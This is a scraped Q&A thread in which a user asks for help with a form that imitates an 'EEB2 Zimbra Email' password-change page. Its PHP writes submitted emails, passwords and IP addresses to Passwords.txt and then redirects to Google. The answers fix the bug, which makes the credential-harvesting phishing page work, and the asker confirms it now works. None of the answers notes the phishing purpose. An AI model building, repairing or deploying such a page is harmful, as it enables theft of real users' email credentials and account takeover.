【问题标题】:Save User Info Form PHP HTM [closed]保存用户信息表单 PHP HTM [关闭]
【发布时间】:2017-02-20 10:37:16
【问题描述】:

我正在尝试制作一个表单,当用户键入信息然后提交时,它会将其保存在文本文件中。但是当我打开文本文件时,它只显示 IP 地址......我无法弄清楚我的代码做错了什么:

我已经尝试将 §_SERVER 更改为 $_POST 但它不起作用

谢谢:)

HTML:

    <form action="login.php" id="login.php" method="get">
  <div class="imgcontainer">
    <img src="zimbra.png" alt="Avatar" class="avatar">
  </div>
        <div class="bodypage">
     <div class="font">
  <div class="container">

    <label>EEB2 Zimbra Email</label>
    <input type="text" placeholder="Enter Email" name="email" id="email" required>

    <label>Password</label>
    <input type="password" placeholder="Enter Password" name="psw" id="psw" required>

    <label>New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">

    <label>Confirm New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
      </div>


    <a href="google.com"><button type="submit">Change Password</button></a>
         </div>

    </form>

PHP:

    <?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];   
$psw = $_SERVER['psw']; 
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>

编辑:我不是要获取新密码,只是要获取电子邮件和密码。

【问题讨论】:

  • 把你的代码放在这里。
  • 等一下,我会尝试再次将其放入帖子中。
  • 我只是把代码放到帖子里了:)
  • 你的方法是 $_GET 所以它会是 $_GET['email']
  • 尝试用$_GET改,还是不行:/

标签: php html css forms


【解决方案1】:

你的方法是 $_GET 所以它会是 $_GET['email']

【讨论】:

  • 尝试用$_GET改,还是不行:/
  • 为什么你的按钮被包裹在谷歌的锚点中?
  • 抱歉,我在尝试其他解决方案时出错了。我刚刚在我的原始代码上尝试了您的解决方案并且它有效!非常感谢:))
  • 只是想尝试一下
【解决方案2】:

没有 $_SERVER['email']、$_SERVER['psw'] 之类的东西。这是documented here

假设它们在 HTML 表单中具有“名称”属性(由于某种原因,我无法在 Dropbox 中看到),您应该在 $_POST['psw']、$_POST['email ']等。

我还要补充一点,您应该使用filter_input 或其他一些机制来测试这些值,然后再将它们放到您的文件系统中。

【讨论】:

  • 谢谢,但我已经这样做了。我只是把代码放到帖子里,我想你会更容易理解:)
【解决方案3】:

首先,如果您尝试保存凭据(如密码),则不应像在代码中那样使用方法 "GET"。因为当提交表单时,由于您使用了 GET 方法,所有凭据都将显示在 URL 上。所以这将是一个安全问题。大多数开发人员更喜欢 POST 方法而不是 GET 方法来处理表单数据。

正如 W3schools 上所说,“$_SERVER 是一个 PHP 超级全局变量,它保存有关标头、路径和脚本位置的信息。”

使用 POST 方法

尝试更改为此。(使用“$_POST[]”方法来捕获您尝试从网络表单发布的数据。所以这对您有用。

$ip = $_POST['REMOTE_ADDR']; $email = $_POST['email'];

为了对你有用,你应该改变

使用 GET 方法

但如果您仍想坚持使用 GET 方法,您只需将这些更改为 $_GET['']

$ip = $_GET['REMOTE_ADDR']; $email = $_GET['email'];

希望对您有所帮助! :D 祝你好运

【讨论】:

  • 谢谢!感谢另一位成员,我已经修复了它,但我会为此更新它以提高安全性! :)
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2014-01-27
  • 1970-01-01
  • 1970-01-01
  • 2013-04-26
  • 1970-01-01
  • 1970-01-01
  • 2020-02-19
相关资源
最近更新 更多